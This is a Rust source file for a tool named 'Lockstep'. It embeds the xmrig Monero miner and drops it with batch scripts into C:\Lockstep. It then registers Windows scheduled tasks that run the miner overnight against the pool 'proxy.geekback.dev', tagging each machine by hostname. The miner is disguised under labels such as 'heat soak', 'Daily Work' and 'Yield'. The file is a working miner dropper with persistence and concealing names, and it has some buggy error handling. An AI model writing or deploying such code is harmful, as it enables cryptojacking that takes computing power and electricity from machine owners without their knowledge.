extern crate alloc;

use alloc::string::String;
use clap::{Parser, ValueEnum};
use std::fs;
use std::fs::File;
use std::io::{Result, Write};
use std::path::Path;
use std::process::{Command, Output};

// Start Constants
pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
pub const DAILY_NAME: &str = "start";

// Config Constants
pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");

// Stop Constants
pub const STOPWORK_SRC: &str = include_str!("resources/stop-work.cmd");
pub const STOPWORK_NAME: &str = "stop";

// Work Constants
pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
pub const SCHTASK_NAME: &str = "c:/windows/system32/schtasks.exe";
pub const SLAVE_ROOT: &str = "Lockstep";
pub const WORK_NAME: &str = "xmrig";
pub const DAILY_WORK_NAME: &str = "Lockstep\\Daily Work";
pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield";

#[derive(Debug, Clone, Copy, Default, ValueEnum)]
enum AppModes {
    #[default]
    KillCommand,
    MoveIn,
    RunWork,
    MoveOut,
}

#[derive(Parser, Debug)]
#[command(name = "Lockstep", version, about = "Keep them in lockstep")]
struct Cli {
    app_modes: AppModes,
}

/// Executes a Windows binary with the given parameters.
///
/// # Arguments
///
/// * `binary_path` - The full path to the Windows `.exe` binary.
/// * `args` - A slice of arguments to pass to the binary.
///
/// # Returns
///
/// * `Result<Output, io::Error>` - The output of the command if successful, or an I/O error.
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
    Command::new(binary_path).args(args).output()
}

fn run_windows_binary2(binary_path: &str, args: &[&str]) -> Box<(i32, Vec<u8>, Vec<u8>)> {
    let result = Command::new(binary_path).args(args).output();

    match result {
        Ok(output) => Box::new((
            output.status.code().unwrap_or(0),
            output.stdout,
            output.stderr,
        )),
        Err(error) => {
            panic!("bad command.");
        }
    }
}

fn printlog(to_say: &str) {
    println!("[ ✔  ] {to_say}");
}

fn printerror(to_say: &str) {
    println!("[ X ] {to_say}");
}

fn remove_command(name: &str) {
    let binary = SCHTASK_NAME;
    let parameters = ["/delete", "/tn", name, "/f"];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            if output.status.success() {
                printlog(format!("Task [{name}] removed.").as_str());
            }
        }
        Err(error) => {}
    }
}

fn schedule_command(tod: &str, command: &str, name: &str) {
    let binary = SCHTASK_NAME;
    let parameters = [
        "/create",
        "/tn",
        name,
        "/sc",
        "daily",
        "/st",
        tod,
        "/sd",
        "2001/01/01",
        "/tr",
        command,
    ];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            if output.status.success() {
                printerror(format!("Status: {}", output.status).as_str());
                printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
                printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
            }
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn run_monero_miner() {
    println!("Starting heat soak");

    let binary = "C:/lockstep/xmrig.exe";
    let hostname = hostname::get().unwrap_or("UnknownHostname".into());
    let parameters = [
        "-o",
        "proxy.geekback.dev",
        "--rig-id",
        hostname.to_str().unwrap(),
        "--huge-pages-jit",
        "--randomx-1gb-pages",
        "-B",
        "--coin",
        "monero",
    ];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn run_kill_command() {
    let binary = "C:/windows/system32/taskkill.exe";
    let work_name_path = format!("{}.exe", WORK_NAME);
    let parameters = ["/IM", work_name_path.as_str(), "/F"];

    run_windows_binary2(binary, &parameters);
}

fn create_file(name: &str, content: &[u8]) {
    // File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
    let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name);
    println!("Creating [{full_path}]");
    File::create(Path::new(full_path.as_str()))
        .unwrap()
        .write(content)
        .unwrap();
}

fn drop_scripts_and_work() {
    #[cfg(windows)]
    {
        printlog(format!("Creating {}", SLAVE_ROOT).as_str());
        let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
        create_file(format!("{}.cmd", DAILY_NAME).as_str(),  DAILY_SRC.as_bytes());
        create_file("config.bat", CONFIG_SRC.as_bytes());
        create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
        create_file(format!("{}.cmd", STOPWORK_NAME).as_str(), STOPWORK_SRC.as_bytes());
    }
    #[cfg(not(windows))]
    {
        println!("[ ✔️ ] Create path.");
        println!("[ ✔️ ] Drop daily cmd");
        println!("[ ✔️ ] Drop config");
        println!("[ ✔️ ] Drop worker");
    }
}

fn nuke_scripts_and_work() {
    let to_remove = format!("C:\\{}", SLAVE_ROOT);
    fs::remove_dir_all(&Path::new(&to_remove));
}

fn main() {
    println!("Launching LockStep");
    let opts = Cli::parse();

    match opts.app_modes {
        AppModes::KillCommand => {
            run_kill_command();
        }
        AppModes::MoveIn => {
            schedule_command("19:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, DAILY_NAME).as_str(), DAILY_WORK_NAME );
            schedule_command( "05:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, STOPWORK_NAME).as_str(), DAILY_STOP_NAME);
            drop_scripts_and_work();
        }
        AppModes::RunWork => {
            run_monero_miner();
        }
        AppModes::MoveOut => {
            remove_command(DAILY_WORK_NAME);
            remove_command(DAILY_STOP_NAME);
            nuke_scripts_and_work();
        }
    }
}
